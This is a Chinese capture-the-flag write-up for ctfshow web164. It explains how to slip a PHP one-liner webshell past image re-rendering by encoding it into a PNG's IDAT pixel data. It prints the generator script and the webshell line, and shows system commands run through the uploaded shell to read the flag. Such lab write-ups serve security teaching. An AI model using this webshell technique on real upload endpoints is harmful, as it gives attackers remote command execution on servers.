ctfshow-web164

一:初步尝试

开靶机的时候显示改头换面,那就说明之前用RFI做就可能不行了,然后试了一下也确实不可以,看了大师傅的视频和别的wp说是二次渲染【服务器在文件上传后,对文件内容进行再次处理或修改的过程。这种处理通常用于优化文件大小、格式化文件内容或进行安全检查】然后说直接按简单的方法生成一个图片马大概率不行,但我又想试试。

1.copy指令

首先我们需要一张正常的图片,不要太大,可以直接屏幕截图截一小块:a.png

然后是我们的一句话木马文件:b.php

用以下命令生成图片马:shell.png

bash 复制代码
copy a.png/b + b.php/a = shell.png

(copy的地址是两个文件所在地址,我是在桌面,所以先要 cd Desktop)

/a 代表 ASCII 码,/b 代表二进制文件

然后上传我们的图片马,果然还是失败了

010里面打开是这样的,可以看到是直接在结尾加了一个木马:

2.顺推

其实这里就有一个问题,后续不管是将图片以txt格式打开或者010打开最后面加一句话木马都会出现的:因为 PHP 在解析图片时,可能只解析到"图片真正结束的地方"。

所以我们要把木马写进 PNG 的 IDAT 数据块里,让它在"图片内容"中,而不是"图片后面"。

这里先给出png的文件结构:

php 复制代码
PNG Header
IHDR   (头信息)
IDAT   (真正的图像数据,可多个)
IEND   (图片结束标记)

在某些场景里:

  • PHP 是通过 图像函数 / 文件流

  • 或者程序在读文件时:只读到 IEND,后面的数据被忽略

就比如

php 复制代码
imagecreatefrompng('a.png');  //imagecreatefrompng() 返回图像标识符,代表从指定文件名获得的图像。

而在这里很明显就是这样的,因此我们需要通过脚本把一句话木马写到IDAT块中。

二:脚本运用

php 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
 //像素的RGB值,让 getimagesize()、图片解析全部通过。
 
 
$img = imagecreatetruecolor(32, 32);  //创建画布
 
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}  //往图片里加东西
 
imagepng($img,'./my.png'); 
?>  //导出图片
#<?=$_GET[0]($_POST[1]);?>  //追加到文件末尾

然后我去用VScode跑了一下,创建的是一个index.php,但是有个问题:

这个报错是指我的php没有装GD库 【GD库是PHP语言的图形处理扩展库,提供生成、处理图像及添加水印等功能的API,支持JPEG、PNG、GIF等主流图像格式,广泛应用于缩略图生成、验证码创建及数据报表制作等Web开发场景 。其内存管理机制独立于PHP常规配置,通过gd_info()函数可查询支持的图像格式】

可以打开VScode终端,输入php --ini,然后会有一个这个,把分号去掉就可以:

php 复制代码
;extension=gd

但是我输了php --ini没反应,可能是我之前安装有点问题,反正搞了好多次就是没搞出来。

然后去问了一下说是可以用phpstudy 或xampp 来【云服务器也可以,但配置有点麻烦,还得买,如果有需要可以参考web162搭建的云服务器】,这里我就用xampp来做【配置教程可以看其他大佬写的博客,这里我找了一个xampp安装与配置】

打开xampp,开启Apache,如下:

然后是找到xampp的安装路径【我在D盘】,然后在VScode终端输入:

bash 复制代码
D:\xampp\php\php.exe -m

最开是没有gd的,然后我们输入

bash 复制代码
D:\xampp\php\php.ini

然后就能找到我们之前所讲的:

把分号去掉并保存,再重新打开一个终端,输入 -m 之后就能看到gd了。

然后转到index.php所在文件位置【我在桌面】,运行指令回显如下:

bash 复制代码
PS C:\Users\Linkb\Desktop> D:\xampp\php\php.exe index.php
>> 
#PHP Warning:  Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25

Warning: Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25
PHP Fatal error:  Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
  thrown in C:\Users\Linkb\Desktop\index.php on line 25

Fatal error: Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
  thrown in C:\Users\Linkb\Desktop\index.php on line 25

这里有一个报错问题都是在第25行,即表示我们的木马写的有问题,我不知道是不是我跑的软件有问题,我这里是要将这个木马写到imagepng($img,'./my.png'); 后面然后进行注释才可以。这里就发现了一个注意点:**?> 后面的内容,除非再次进入 <?php,否则不属于 PHP,**就是说我们要将木马放在php里面,那么代码就变成了这样:

php 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./my.png');
//<?=$_GET[0]($_POST[1]);?>
?>

这时候再运行:

bash 复制代码
D:\xampp\php\php.exe index.php

这样就能在桌面上找到我们生成的图片了。

三:上传图片马

我上传图片马,点击查看图片,然后用hackbar改一下,URL最后面加一个&0=system,再POST传参一个1=ls,开启抓包后再execute:

可以看到有flag.php是直接在该目录下的,然后我们再tac 一下flag就能找到答案:

四:总结

总的来说,web164就相当于allow_url_include=Off的情况下并且普通的生成图片马的方式被检测的情况下通过脚本将木马插入后门中使其永久生效,确实称得上是改头换面,也是又学到文件上传的一种新的方法。

相关推荐
sbjdhjd13 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
袁哥大话安全14 小时前
巡隐WEBSHELL扫描软件
人工智能·安全·web
Dachui_112220 小时前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub20 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗20 小时前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录21 小时前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
中原第一高手21 小时前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
Bruce_Liuxiaowei1 天前
2026年10月第2周网络安全形势周报
网络安全
黄金龙PLUS2 天前
如何基于置换算法来设计对称加密算法
算法·网络安全·密码学·哈希算法·同态加密
王大傻09282 天前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全